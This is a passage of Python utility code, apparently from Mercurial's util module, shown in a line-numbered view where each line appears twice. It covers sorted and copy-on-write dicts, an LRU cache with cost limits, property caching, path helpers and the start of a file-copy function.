1246 class sortdict(collections.OrderedDict):
1246 class sortdict(collections.OrderedDict):
1247 '''a simple sorted dictionary
1247 '''a simple sorted dictionary
1248
1248
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 >>> d2 = d1.copy()
1250 >>> d2 = d1.copy()
1251 >>> d2
1251 >>> d2
1252 sortdict([('a', 0), ('b', 1)])
1252 sortdict([('a', 0), ('b', 1)])
1253 >>> d2.update([(b'a', 2)])
1253 >>> d2.update([(b'a', 2)])
1254 >>> list(d2.keys()) # should still be in last-set order
1254 >>> list(d2.keys()) # should still be in last-set order
1255 ['b', 'a']
1255 ['b', 'a']
1256 '''
1256 '''
1257
1257
1258 def __setitem__(self, key, value):
1258 def __setitem__(self, key, value):
1259 if key in self:
1259 if key in self:
1260 del self[key]
1260 del self[key]
1261 super(sortdict, self).__setitem__(key, value)
1261 super(sortdict, self).__setitem__(key, value)
1262
1262
1263 if pycompat.ispypy:
1263 if pycompat.ispypy:
1264 # __setitem__() isn't called as of PyPy 5.8.0
1264 # __setitem__() isn't called as of PyPy 5.8.0
1265 def update(self, src):
1265 def update(self, src):
1266 if isinstance(src, dict):
1266 if isinstance(src, dict):
1267 src = pycompat.iteritems(src)
1267 src = pycompat.iteritems(src)
1268 for k, v in src:
1268 for k, v in src:
1269 self[k] = v
1269 self[k] = v
1270
1270
1271
1271
1272 class cowdict(cow, dict):
1272 class cowdict(cow, dict):
1273 """copy-on-write dict
1273 """copy-on-write dict
1274
1274
1275 Be sure to call d = d.preparewrite() before writing to d.
1275 Be sure to call d = d.preparewrite() before writing to d.
1276
1276
1277 >>> a = cowdict()
1277 >>> a = cowdict()
1278 >>> a is a.preparewrite()
1278 >>> a is a.preparewrite()
1279 True
1279 True
1280 >>> b = a.copy()
1280 >>> b = a.copy()
1281 >>> b is a
1281 >>> b is a
1282 True
1282 True
1283 >>> c = b.copy()
1283 >>> c = b.copy()
1284 >>> c is a
1284 >>> c is a
1285 True
1285 True
1286 >>> a = a.preparewrite()
1286 >>> a = a.preparewrite()
1287 >>> b is a
1287 >>> b is a
1288 False
1288 False
1289 >>> a is a.preparewrite()
1289 >>> a is a.preparewrite()
1290 True
1290 True
1291 >>> c = c.preparewrite()
1291 >>> c = c.preparewrite()
1292 >>> b is c
1292 >>> b is c
1293 False
1293 False
1294 >>> b is b.preparewrite()
1294 >>> b is b.preparewrite()
1295 True
1295 True
1296 """
1296 """
1297
1297
1298
1298
1299 class cowsortdict(cow, sortdict):
1299 class cowsortdict(cow, sortdict):
1300 """copy-on-write sortdict
1300 """copy-on-write sortdict
1301
1301
1302 Be sure to call d = d.preparewrite() before writing to d.
1302 Be sure to call d = d.preparewrite() before writing to d.
1303 """
1303 """
1304
1304
1305
1305
1306 class transactional(object): # pytype: disable=ignored-metaclass
1306 class transactional(object): # pytype: disable=ignored-metaclass
1307 """Base class for making a transactional type into a context manager."""
1307 """Base class for making a transactional type into a context manager."""
1308
1308
1309 __metaclass__ = abc.ABCMeta
1309 __metaclass__ = abc.ABCMeta
1310
1310
1311 @abc.abstractmethod
1311 @abc.abstractmethod
1312 def close(self):
1312 def close(self):
1313 """Successfully closes the transaction."""
1313 """Successfully closes the transaction."""
1314
1314
1315 @abc.abstractmethod
1315 @abc.abstractmethod
1316 def release(self):
1316 def release(self):
1317 """Marks the end of the transaction.
1317 """Marks the end of the transaction.
1318
1318
1319 If the transaction has not been closed, it will be aborted.
1319 If the transaction has not been closed, it will be aborted.
1320 """
1320 """
1321
1321
1322 def __enter__(self):
1322 def __enter__(self):
1323 return self
1323 return self
1324
1324
1325 def __exit__(self, exc_type, exc_val, exc_tb):
1325 def __exit__(self, exc_type, exc_val, exc_tb):
1326 try:
1326 try:
1327 if exc_type is None:
1327 if exc_type is None:
1328 self.close()
1328 self.close()
1329 finally:
1329 finally:
1330 self.release()
1330 self.release()
1331
1331
1332
1332
1333 @contextlib.contextmanager
1333 @contextlib.contextmanager
1334 def acceptintervention(tr=None):
1334 def acceptintervention(tr=None):
1335 """A context manager that closes the transaction on InterventionRequired
1335 """A context manager that closes the transaction on InterventionRequired
1336
1336
1337 If no transaction was provided, this simply runs the body and returns
1337 If no transaction was provided, this simply runs the body and returns
1338 """
1338 """
1339 if not tr:
1339 if not tr:
1340 yield
1340 yield
1341 return
1341 return
1342 try:
1342 try:
1343 yield
1343 yield
1344 tr.close()
1344 tr.close()
1345 except error.InterventionRequired:
1345 except error.InterventionRequired:
1346 tr.close()
1346 tr.close()
1347 raise
1347 raise
1348 finally:
1348 finally:
1349 tr.release()
1349 tr.release()
1350
1350
1351
1351
1352 @contextlib.contextmanager
1352 @contextlib.contextmanager
1353 def nullcontextmanager():
1353 def nullcontextmanager():
1354 yield
1354 yield
1355
1355
1356
1356
1357 class _lrucachenode(object):
1357 class _lrucachenode(object):
1358 """A node in a doubly linked list.
1358 """A node in a doubly linked list.
1359
1359
1360 Holds a reference to nodes on either side as well as a key-value
1360 Holds a reference to nodes on either side as well as a key-value
1361 pair for the dictionary entry.
1361 pair for the dictionary entry.
1362 """
1362 """
1363
1363
1364 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1364 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1365
1365
1366 def __init__(self):
1366 def __init__(self):
1367 self.next = None
1367 self.next = None
1368 self.prev = None
1368 self.prev = None
1369
1369
1370 self.key = _notset
1370 self.key = _notset
1371 self.value = None
1371 self.value = None
1372 self.cost = 0
1372 self.cost = 0
1373
1373
1374 def markempty(self):
1374 def markempty(self):
1375 """Mark the node as emptied."""
1375 """Mark the node as emptied."""
1376 self.key = _notset
1376 self.key = _notset
1377 self.value = None
1377 self.value = None
1378 self.cost = 0
1378 self.cost = 0
1379
1379
1380
1380
1381 class lrucachedict(object):
1381 class lrucachedict(object):
1382 """Dict that caches most recent accesses and sets.
1382 """Dict that caches most recent accesses and sets.
1383
1383
1384 The dict consists of an actual backing dict - indexed by original
1384 The dict consists of an actual backing dict - indexed by original
1385 key - and a doubly linked circular list defining the order of entries in
1385 key - and a doubly linked circular list defining the order of entries in
1386 the cache.
1386 the cache.
1387
1387
1388 The head node is the newest entry in the cache. If the cache is full,
1388 The head node is the newest entry in the cache. If the cache is full,
1389 we recycle head.prev and make it the new head. Cache accesses result in
1389 we recycle head.prev and make it the new head. Cache accesses result in
1390 the node being moved to before the existing head and being marked as the
1390 the node being moved to before the existing head and being marked as the
1391 new head node.
1391 new head node.
1392
1392
1393 Items in the cache can be inserted with an optional "cost" value. This is
1393 Items in the cache can be inserted with an optional "cost" value. This is
1394 simply an integer that is specified by the caller. The cache can be queried
1394 simply an integer that is specified by the caller. The cache can be queried
1395 for the total cost of all items presently in the cache.
1395 for the total cost of all items presently in the cache.
1396
1396
1397 The cache can also define a maximum cost. If a cache insertion would
1397 The cache can also define a maximum cost. If a cache insertion would
1398 cause the total cost of the cache to go beyond the maximum cost limit,
1398 cause the total cost of the cache to go beyond the maximum cost limit,
1399 nodes will be evicted to make room for the new code. This can be used
1399 nodes will be evicted to make room for the new code. This can be used
1400 to e.g. set a max memory limit and associate an estimated bytes size
1400 to e.g. set a max memory limit and associate an estimated bytes size
1401 cost to each item in the cache. By default, no maximum cost is enforced.
1401 cost to each item in the cache. By default, no maximum cost is enforced.
1402 """
1402 """
1403
1403
1404 def __init__(self, max, maxcost=0):
1404 def __init__(self, max, maxcost=0):
1405 self._cache = {}
1405 self._cache = {}
1406
1406
1407 self._head = head = _lrucachenode()
1407 self._head = head = _lrucachenode()
1408 head.prev = head
1408 head.prev = head
1409 head.next = head
1409 head.next = head
1410 self._size = 1
1410 self._size = 1
1411 self.capacity = max
1411 self.capacity = max
1412 self.totalcost = 0
1412 self.totalcost = 0
1413 self.maxcost = maxcost
1413 self.maxcost = maxcost
1414
1414
1415 def __len__(self):
1415 def __len__(self):
1416 return len(self._cache)
1416 return len(self._cache)
1417
1417
1418 def __contains__(self, k):
1418 def __contains__(self, k):
1419 return k in self._cache
1419 return k in self._cache
1420
1420
1421 def __iter__(self):
1421 def __iter__(self):
1422 # We don't have to iterate in cache order, but why not.
1422 # We don't have to iterate in cache order, but why not.
1423 n = self._head
1423 n = self._head
1424 for i in range(len(self._cache)):
1424 for i in range(len(self._cache)):
1425 yield n.key
1425 yield n.key
1426 n = n.next
1426 n = n.next
1427
1427
1428 def __getitem__(self, k):
1428 def __getitem__(self, k):
1429 node = self._cache[k]
1429 node = self._cache[k]
1430 self._movetohead(node)
1430 self._movetohead(node)
1431 return node.value
1431 return node.value
1432
1432
1433 def insert(self, k, v, cost=0):
1433 def insert(self, k, v, cost=0):
1434 """Insert a new item in the cache with optional cost value."""
1434 """Insert a new item in the cache with optional cost value."""
1435 node = self._cache.get(k)
1435 node = self._cache.get(k)
1436 # Replace existing value and mark as newest.
1436 # Replace existing value and mark as newest.
1437 if node is not None:
1437 if node is not None:
1438 self.totalcost -= node.cost
1438 self.totalcost -= node.cost
1439 node.value = v
1439 node.value = v
1440 node.cost = cost
1440 node.cost = cost
1441 self.totalcost += cost
1441 self.totalcost += cost
1442 self._movetohead(node)
1442 self._movetohead(node)
1443
1443
1444 if self.maxcost:
1444 if self.maxcost:
1445 self._enforcecostlimit()
1445 self._enforcecostlimit()
1446
1446
1447 return
1447 return
1448
1448
1449 if self._size < self.capacity:
1449 if self._size < self.capacity:
1450 node = self._addcapacity()
1450 node = self._addcapacity()
1451 else:
1451 else:
1452 # Grab the last/oldest item.
1452 # Grab the last/oldest item.
1453 node = self._head.prev
1453 node = self._head.prev
1454
1454
1455 # At capacity. Kill the old entry.
1455 # At capacity. Kill the old entry.
1456 if node.key is not _notset:
1456 if node.key is not _notset:
1457 self.totalcost -= node.cost
1457 self.totalcost -= node.cost
1458 del self._cache[node.key]
1458 del self._cache[node.key]
1459
1459
1460 node.key = k
1460 node.key = k
1461 node.value = v
1461 node.value = v
1462 node.cost = cost
1462 node.cost = cost
1463 self.totalcost += cost
1463 self.totalcost += cost
1464 self._cache[k] = node
1464 self._cache[k] = node
1465 # And mark it as newest entry. No need to adjust order since it
1465 # And mark it as newest entry. No need to adjust order since it
1466 # is already self._head.prev.
1466 # is already self._head.prev.
1467 self._head = node
1467 self._head = node
1468
1468
1469 if self.maxcost:
1469 if self.maxcost:
1470 self._enforcecostlimit()
1470 self._enforcecostlimit()
1471
1471
1472 def __setitem__(self, k, v):
1472 def __setitem__(self, k, v):
1473 self.insert(k, v)
1473 self.insert(k, v)
1474
1474
1475 def __delitem__(self, k):
1475 def __delitem__(self, k):
1476 self.pop(k)
1476 self.pop(k)
1477
1477
1478 def pop(self, k, default=_notset):
1478 def pop(self, k, default=_notset):
1479 try:
1479 try:
1480 node = self._cache.pop(k)
1480 node = self._cache.pop(k)
1481 except KeyError:
1481 except KeyError:
1482 if default is _notset:
1482 if default is _notset:
1483 raise
1483 raise
1484 return default
1484 return default
1485
1485
1486 assert node is not None # help pytype
1486 assert node is not None # help pytype
1487 value = node.value
1487 value = node.value
1488 self.totalcost -= node.cost
1488 self.totalcost -= node.cost
1489 node.markempty()
1489 node.markempty()
1490
1490
1491 # Temporarily mark as newest item before re-adjusting head to make
1491 # Temporarily mark as newest item before re-adjusting head to make
1492 # this node the oldest item.
1492 # this node the oldest item.
1493 self._movetohead(node)
1493 self._movetohead(node)
1494 self._head = node.next
1494 self._head = node.next
1495
1495
1496 return value
1496 return value
1497
1497
1498 # Additional dict methods.
1498 # Additional dict methods.
1499
1499
1500 def get(self, k, default=None):
1500 def get(self, k, default=None):
1501 try:
1501 try:
1502 return self.__getitem__(k)
1502 return self.__getitem__(k)
1503 except KeyError:
1503 except KeyError:
1504 return default
1504 return default
1505
1505
1506 def peek(self, k, default=_notset):
1506 def peek(self, k, default=_notset):
1507 """Get the specified item without moving it to the head
1507 """Get the specified item without moving it to the head
1508
1508
1509 Unlike get(), this doesn't mutate the internal state. But be aware
1509 Unlike get(), this doesn't mutate the internal state. But be aware
1510 that it doesn't mean peek() is thread safe.
1510 that it doesn't mean peek() is thread safe.
1511 """
1511 """
1512 try:
1512 try:
1513 node = self._cache[k]
1513 node = self._cache[k]
1514 return node.value
1514 return node.value
1515 except KeyError:
1515 except KeyError:
1516 if default is _notset:
1516 if default is _notset:
1517 raise
1517 raise
1518 return default
1518 return default
1519
1519
1520 def clear(self):
1520 def clear(self):
1521 n = self._head
1521 n = self._head
1522 while n.key is not _notset:
1522 while n.key is not _notset:
1523 self.totalcost -= n.cost
1523 self.totalcost -= n.cost
1524 n.markempty()
1524 n.markempty()
1525 n = n.next
1525 n = n.next
1526
1526
1527 self._cache.clear()
1527 self._cache.clear()
1528
1528
1529 def copy(self, capacity=None, maxcost=0):
1529 def copy(self, capacity=None, maxcost=0):
1530 """Create a new cache as a copy of the current one.
1530 """Create a new cache as a copy of the current one.
1531
1531
1532 By default, the new cache has the same capacity as the existing one.
1532 By default, the new cache has the same capacity as the existing one.
1533 But, the cache capacity can be changed as part of performing the
1533 But, the cache capacity can be changed as part of performing the
1534 copy.
1534 copy.
1535
1535
1536 Items in the copy have an insertion/access order matching this
1536 Items in the copy have an insertion/access order matching this
1537 instance.
1537 instance.
1538 """
1538 """
1539
1539
1540 capacity = capacity or self.capacity
1540 capacity = capacity or self.capacity
1541 maxcost = maxcost or self.maxcost
1541 maxcost = maxcost or self.maxcost
1542 result = lrucachedict(capacity, maxcost=maxcost)
1542 result = lrucachedict(capacity, maxcost=maxcost)
1543
1543
1544 # We copy entries by iterating in oldest-to-newest order so the copy
1544 # We copy entries by iterating in oldest-to-newest order so the copy
1545 # has the correct ordering.
1545 # has the correct ordering.
1546
1546
1547 # Find the first non-empty entry.
1547 # Find the first non-empty entry.
1548 n = self._head.prev
1548 n = self._head.prev
1549 while n.key is _notset and n is not self._head:
1549 while n.key is _notset and n is not self._head:
1550 n = n.prev
1550 n = n.prev
1551
1551
1552 # We could potentially skip the first N items when decreasing capacity.
1552 # We could potentially skip the first N items when decreasing capacity.
1553 # But let's keep it simple unless it is a performance problem.
1553 # But let's keep it simple unless it is a performance problem.
1554 for i in range(len(self._cache)):
1554 for i in range(len(self._cache)):
1555 result.insert(n.key, n.value, cost=n.cost)
1555 result.insert(n.key, n.value, cost=n.cost)
1556 n = n.prev
1556 n = n.prev
1557
1557
1558 return result
1558 return result
1559
1559
1560 def popoldest(self):
1560 def popoldest(self):
1561 """Remove the oldest item from the cache.
1561 """Remove the oldest item from the cache.
1562
1562
1563 Returns the (key, value) describing the removed cache entry.
1563 Returns the (key, value) describing the removed cache entry.
1564 """
1564 """
1565 if not self._cache:
1565 if not self._cache:
1566 return
1566 return
1567
1567
1568 # Walk the linked list backwards starting at tail node until we hit
1568 # Walk the linked list backwards starting at tail node until we hit
1569 # a non-empty node.
1569 # a non-empty node.
1570 n = self._head.prev
1570 n = self._head.prev
1571 while n.key is _notset:
1571 while n.key is _notset:
1572 n = n.prev
1572 n = n.prev
1573
1573
1574 assert n is not None # help pytype
1574 assert n is not None # help pytype
1575
1575
1576 key, value = n.key, n.value
1576 key, value = n.key, n.value
1577
1577
1578 # And remove it from the cache and mark it as empty.
1578 # And remove it from the cache and mark it as empty.
1579 del self._cache[n.key]
1579 del self._cache[n.key]
1580 self.totalcost -= n.cost
1580 self.totalcost -= n.cost
1581 n.markempty()
1581 n.markempty()
1582
1582
1583 return key, value
1583 return key, value
1584
1584
1585 def _movetohead(self, node):
1585 def _movetohead(self, node):
1586 """Mark a node as the newest, making it the new head.
1586 """Mark a node as the newest, making it the new head.
1587
1587
1588 When a node is accessed, it becomes the freshest entry in the LRU
1588 When a node is accessed, it becomes the freshest entry in the LRU
1589 list, which is denoted by self._head.
1589 list, which is denoted by self._head.
1590
1590
1591 Visually, let's make ``N`` the new head node (* denotes head):
1591 Visually, let's make ``N`` the new head node (* denotes head):
1592
1592
1593 previous/oldest <-> head <-> next/next newest
1593 previous/oldest <-> head <-> next/next newest
1594
1594
1595 ----<->--- A* ---<->-----
1595 ----<->--- A* ---<->-----
1596 | |
1596 | |
1597 E <-> D <-> N <-> C <-> B
1597 E <-> D <-> N <-> C <-> B
1598
1598
1599 To:
1599 To:
1600
1600
1601 ----<->--- N* ---<->-----
1601 ----<->--- N* ---<->-----
1602 | |
1602 | |
1603 E <-> D <-> C <-> B <-> A
1603 E <-> D <-> C <-> B <-> A
1604
1604
1605 This requires the following moves:
1605 This requires the following moves:
1606
1606
1607 C.next = D (node.prev.next = node.next)
1607 C.next = D (node.prev.next = node.next)
1608 D.prev = C (node.next.prev = node.prev)
1608 D.prev = C (node.next.prev = node.prev)
1609 E.next = N (head.prev.next = node)
1609 E.next = N (head.prev.next = node)
1610 N.prev = E (node.prev = head.prev)
1610 N.prev = E (node.prev = head.prev)
1611 N.next = A (node.next = head)
1611 N.next = A (node.next = head)
1612 A.prev = N (head.prev = node)
1612 A.prev = N (head.prev = node)
1613 """
1613 """
1614 head = self._head
1614 head = self._head
1615 # C.next = D
1615 # C.next = D
1616 node.prev.next = node.next
1616 node.prev.next = node.next
1617 # D.prev = C
1617 # D.prev = C
1618 node.next.prev = node.prev
1618 node.next.prev = node.prev
1619 # N.prev = E
1619 # N.prev = E
1620 node.prev = head.prev
1620 node.prev = head.prev
1621 # N.next = A
1621 # N.next = A
1622 # It is tempting to do just "head" here, however if node is
1622 # It is tempting to do just "head" here, however if node is
1623 # adjacent to head, this will do bad things.
1623 # adjacent to head, this will do bad things.
1624 node.next = head.prev.next
1624 node.next = head.prev.next
1625 # E.next = N
1625 # E.next = N
1626 node.next.prev = node
1626 node.next.prev = node
1627 # A.prev = N
1627 # A.prev = N
1628 node.prev.next = node
1628 node.prev.next = node
1629
1629
1630 self._head = node
1630 self._head = node
1631
1631
1632 def _addcapacity(self):
1632 def _addcapacity(self):
1633 """Add a node to the circular linked list.
1633 """Add a node to the circular linked list.
1634
1634
1635 The new node is inserted before the head node.
1635 The new node is inserted before the head node.
1636 """
1636 """
1637 head = self._head
1637 head = self._head
1638 node = _lrucachenode()
1638 node = _lrucachenode()
1639 head.prev.next = node
1639 head.prev.next = node
1640 node.prev = head.prev
1640 node.prev = head.prev
1641 node.next = head
1641 node.next = head
1642 head.prev = node
1642 head.prev = node
1643 self._size += 1
1643 self._size += 1
1644 return node
1644 return node
1645
1645
1646 def _enforcecostlimit(self):
1646 def _enforcecostlimit(self):
1647 # This should run after an insertion. It should only be called if total
1647 # This should run after an insertion. It should only be called if total
1648 # cost limits are being enforced.
1648 # cost limits are being enforced.
1649 # The most recently inserted node is never evicted.
1649 # The most recently inserted node is never evicted.
1650 if len(self) <= 1 or self.totalcost <= self.maxcost:
1650 if len(self) <= 1 or self.totalcost <= self.maxcost:
1651 return
1651 return
1652
1652
1653 # This is logically equivalent to calling popoldest() until we
1653 # This is logically equivalent to calling popoldest() until we
1654 # free up enough cost. We don't do that since popoldest() needs
1654 # free up enough cost. We don't do that since popoldest() needs
1655 # to walk the linked list and doing this in a loop would be
1655 # to walk the linked list and doing this in a loop would be
1656 # quadratic. So we find the first non-empty node and then
1656 # quadratic. So we find the first non-empty node and then
1657 # walk nodes until we free up enough capacity.
1657 # walk nodes until we free up enough capacity.
1658 #
1658 #
1659 # If we only removed the minimum number of nodes to free enough
1659 # If we only removed the minimum number of nodes to free enough
1660 # cost at insert time, chances are high that the next insert would
1660 # cost at insert time, chances are high that the next insert would
1661 # also require pruning. This would effectively constitute quadratic
1661 # also require pruning. This would effectively constitute quadratic
1662 # behavior for insert-heavy workloads. To mitigate this, we set a
1662 # behavior for insert-heavy workloads. To mitigate this, we set a
1663 # target cost that is a percentage of the max cost. This will tend
1663 # target cost that is a percentage of the max cost. This will tend
1664 # to free more nodes when the high water mark is reached, which
1664 # to free more nodes when the high water mark is reached, which
1665 # lowers the chances of needing to prune on the subsequent insert.
1665 # lowers the chances of needing to prune on the subsequent insert.
1666 targetcost = int(self.maxcost * 0.75)
1666 targetcost = int(self.maxcost * 0.75)
1667
1667
1668 n = self._head.prev
1668 n = self._head.prev
1669 while n.key is _notset:
1669 while n.key is _notset:
1670 n = n.prev
1670 n = n.prev
1671
1671
1672 while len(self) > 1 and self.totalcost > targetcost:
1672 while len(self) > 1 and self.totalcost > targetcost:
1673 del self._cache[n.key]
1673 del self._cache[n.key]
1674 self.totalcost -= n.cost
1674 self.totalcost -= n.cost
1675 n.markempty()
1675 n.markempty()
1676 n = n.prev
1676 n = n.prev
1677
1677
1678
1678
1679 def lrucachefunc(func):
1679 def lrucachefunc(func):
1680 '''cache most recent results of function calls'''
1680 '''cache most recent results of function calls'''
1681 cache = {}
1681 cache = {}
1682 order = collections.deque()
1682 order = collections.deque()
1683 if func.__code__.co_argcount == 1:
1683 if func.__code__.co_argcount == 1:
1684
1684
1685 def f(arg):
1685 def f(arg):
1686 if arg not in cache:
1686 if arg not in cache:
1687 if len(cache) > 20:
1687 if len(cache) > 20:
1688 del cache[order.popleft()]
1688 del cache[order.popleft()]
1689 cache[arg] = func(arg)
1689 cache[arg] = func(arg)
1690 else:
1690 else:
1691 order.remove(arg)
1691 order.remove(arg)
1692 order.append(arg)
1692 order.append(arg)
1693 return cache[arg]
1693 return cache[arg]
1694
1694
1695 else:
1695 else:
1696
1696
1697 def f(*args):
1697 def f(*args):
1698 if args not in cache:
1698 if args not in cache:
1699 if len(cache) > 20:
1699 if len(cache) > 20:
1700 del cache[order.popleft()]
1700 del cache[order.popleft()]
1701 cache[args] = func(*args)
1701 cache[args] = func(*args)
1702 else:
1702 else:
1703 order.remove(args)
1703 order.remove(args)
1704 order.append(args)
1704 order.append(args)
1705 return cache[args]
1705 return cache[args]
1706
1706
1707 return f
1707 return f
1708
1708
1709
1709
1710 class propertycache(object):
1710 class propertycache(object):
1711 def __init__(self, func):
1711 def __init__(self, func):
1712 self.func = func
1712 self.func = func
1713 self.name = func.__name__
1713 self.name = func.__name__
1714
1714
1715 def __get__(self, obj, type=None):
1715 def __get__(self, obj, type=None):
1716 result = self.func(obj)
1716 result = self.func(obj)
1717 self.cachevalue(obj, result)
1717 self.cachevalue(obj, result)
1718 return result
1718 return result
1719
1719
1720 def cachevalue(self, obj, value):
1720 def cachevalue(self, obj, value):
1721 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1721 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1722 obj.__dict__[self.name] = value
1722 obj.__dict__[self.name] = value
1723
1723
1724
1724
1725 def clearcachedproperty(obj, prop):
1725 def clearcachedproperty(obj, prop):
1726 '''clear a cached property value, if one has been set'''
1726 '''clear a cached property value, if one has been set'''
1727 prop = pycompat.sysstr(prop)
1727 prop = pycompat.sysstr(prop)
1728 if prop in obj.__dict__:
1728 if prop in obj.__dict__:
1729 del obj.__dict__[prop]
1729 del obj.__dict__[prop]
1730
1730
1731
1731
1732 def increasingchunks(source, min=1024, max=65536):
1732 def increasingchunks(source, min=1024, max=65536):
1733 '''return no less than min bytes per chunk while data remains,
1733 '''return no less than min bytes per chunk while data remains,
1734 doubling min after each chunk until it reaches max'''
1734 doubling min after each chunk until it reaches max'''
1735
1735
1736 def log2(x):
1736 def log2(x):
1737 if not x:
1737 if not x:
1738 return 0
1738 return 0
1739 i = 0
1739 i = 0
1740 while x:
1740 while x:
1741 x >>= 1
1741 x >>= 1
1742 i += 1
1742 i += 1
1743 return i - 1
1743 return i - 1
1744
1744
1745 buf = []
1745 buf = []
1746 blen = 0
1746 blen = 0
1747 for chunk in source:
1747 for chunk in source:
1748 buf.append(chunk)
1748 buf.append(chunk)
1749 blen += len(chunk)
1749 blen += len(chunk)
1750 if blen >= min:
1750 if blen >= min:
1751 if min < max:
1751 if min < max:
1752 min = min << 1
1752 min = min << 1
1753 nmin = 1 << log2(blen)
1753 nmin = 1 << log2(blen)
1754 if nmin > min:
1754 if nmin > min:
1755 min = nmin
1755 min = nmin
1756 if min > max:
1756 if min > max:
1757 min = max
1757 min = max
1758 yield b''.join(buf)
1758 yield b''.join(buf)
1759 blen = 0
1759 blen = 0
1760 buf = []
1760 buf = []
1761 if buf:
1761 if buf:
1762 yield b''.join(buf)
1762 yield b''.join(buf)
1763
1763
1764
1764
1765 def always(fn):
1765 def always(fn):
1766 return True
1766 return True
1767
1767
1768
1768
1769 def never(fn):
1769 def never(fn):
1770 return False
1770 return False
1771
1771
1772
1772
1773 def nogc(func):
1773 def nogc(func):
1774 """disable garbage collector
1774 """disable garbage collector
1775
1775
1776 Python's garbage collector triggers a GC each time a certain number of
1776 Python's garbage collector triggers a GC each time a certain number of
1777 container objects (the number being defined by gc.get_threshold()) are
1777 container objects (the number being defined by gc.get_threshold()) are
1778 allocated even when marked not to be tracked by the collector. Tracking has
1778 allocated even when marked not to be tracked by the collector. Tracking has
1779 no effect on when GCs are triggered, only on what objects the GC looks
1779 no effect on when GCs are triggered, only on what objects the GC looks
1780 into. As a workaround, disable GC while building complex (huge)
1780 into. As a workaround, disable GC while building complex (huge)
1781 containers.
1781 containers.
1782
1782
1783 This garbage collector issue have been fixed in 2.7. But it still affect
1783 This garbage collector issue have been fixed in 2.7. But it still affect
1784 CPython's performance.
1784 CPython's performance.
1785 """
1785 """
1786
1786
1787 def wrapper(*args, **kwargs):
1787 def wrapper(*args, **kwargs):
1788 gcenabled = gc.isenabled()
1788 gcenabled = gc.isenabled()
1789 gc.disable()
1789 gc.disable()
1790 try:
1790 try:
1791 return func(*args, **kwargs)
1791 return func(*args, **kwargs)
1792 finally:
1792 finally:
1793 if gcenabled:
1793 if gcenabled:
1794 gc.enable()
1794 gc.enable()
1795
1795
1796 return wrapper
1796 return wrapper
1797
1797
1798
1798
1799 if pycompat.ispypy:
1799 if pycompat.ispypy:
1800 # PyPy runs slower with gc disabled
1800 # PyPy runs slower with gc disabled
1801 nogc = lambda x: x
1801 nogc = lambda x: x
1802
1802
1803
1803
1804 def pathto(root, n1, n2):
1804 def pathto(root, n1, n2):
1805 '''return the relative path from one place to another.
1805 '''return the relative path from one place to another.
1806 root should use os.sep to separate directories
1806 root should use os.sep to separate directories
1807 n1 should use os.sep to separate directories
1807 n1 should use os.sep to separate directories
1808 n2 should use "/" to separate directories
1808 n2 should use "/" to separate directories
1809 returns an os.sep-separated path.
1809 returns an os.sep-separated path.
1810
1810
1811 If n1 is a relative path, it's assumed it's
1811 If n1 is a relative path, it's assumed it's
1812 relative to root.
1812 relative to root.
1813 n2 should always be relative to root.
1813 n2 should always be relative to root.
1814 '''
1814 '''
1815 if not n1:
1815 if not n1:
1816 return localpath(n2)
1816 return localpath(n2)
1817 if os.path.isabs(n1):
1817 if os.path.isabs(n1):
1818 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1818 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1819 return os.path.join(root, localpath(n2))
1819 return os.path.join(root, localpath(n2))
1820 n2 = b'/'.join((pconvert(root), n2))
1820 n2 = b'/'.join((pconvert(root), n2))
1821 a, b = splitpath(n1), n2.split(b'/')
1821 a, b = splitpath(n1), n2.split(b'/')
1822 a.reverse()
1822 a.reverse()
1823 b.reverse()
1823 b.reverse()
1824 while a and b and a[-1] == b[-1]:
1824 while a and b and a[-1] == b[-1]:
1825 a.pop()
1825 a.pop()
1826 b.pop()
1826 b.pop()
1827 b.reverse()
1827 b.reverse()
1828 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1828 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1829
1829
1830
1830
1831 def checksignature(func):
1831 def checksignature(func):
1832 '''wrap a function with code to check for calling errors'''
1832 '''wrap a function with code to check for calling errors'''
1833
1833
1834 def check(*args, **kwargs):
1834 def check(*args, **kwargs):
1835 try:
1835 try:
1836 return func(*args, **kwargs)
1836 return func(*args, **kwargs)
1837 except TypeError:
1837 except TypeError:
1838 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1838 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1839 raise error.SignatureError
1839 raise error.SignatureError
1840 raise
1840 raise
1841
1841
1842 return check
1842 return check
1843
1843
1844
1844
1845 # a whilelist of known filesystems where hardlink works reliably
1845 # a whilelist of known filesystems where hardlink works reliably
1846 _hardlinkfswhitelist = {
1846 _hardlinkfswhitelist = {
1847 b'apfs',
1847 b'apfs',
1848 b'btrfs',
1848 b'btrfs',
1849 b'ext2',
1849 b'ext2',
1850 b'ext3',
1850 b'ext3',
1851 b'ext4',
1851 b'ext4',
1852 b'hfs',
1852 b'hfs',
1853 b'jfs',
1853 b'jfs',
1854 b'NTFS',
1854 b'NTFS',
1855 b'reiserfs',
1855 b'reiserfs',
1856 b'tmpfs',
1856 b'tmpfs',
1857 b'ufs',
1857 b'ufs',
1858 b'xfs',
1858 b'xfs',
1859 b'zfs',
1859 b'zfs',
1860 }
1860 }
1861
1861
1862
1862
1863 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1863 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1864 '''copy a file, preserving mode and optionally other stat info like
1864 '''copy a file, preserving mode and optionally other stat info like
1865 atime/mtime
1865 atime/mtime
1866
1866
1867 checkambig argument is used with filestat, and is useful only if
1867 checkambig argument is used with filestat, and is useful only if
1868 destination file is guarded by any lock (e.g. repo.lock or
1868 destination file is guarded by any lock (e.g. repo.lock or
1869 repo.wlock).
1869 repo.wlock).
1870
1870
1871 copystat and checkambig should be exclusive.
1871 copystat and checkambig should be exclusive.
1872 '''
1872 '''
1873 assert not (copystat and checkambig)
1873 assert not (copystat and checkambig)
1874 oldstat = None
1874 oldstat = None
1875 if os.path.lexists(dest):
1875 if os.path.lexists(dest):
1876 if checkambig:
1876 if checkambig:
1877 oldstat = checkambig and filestat.frompath(dest)
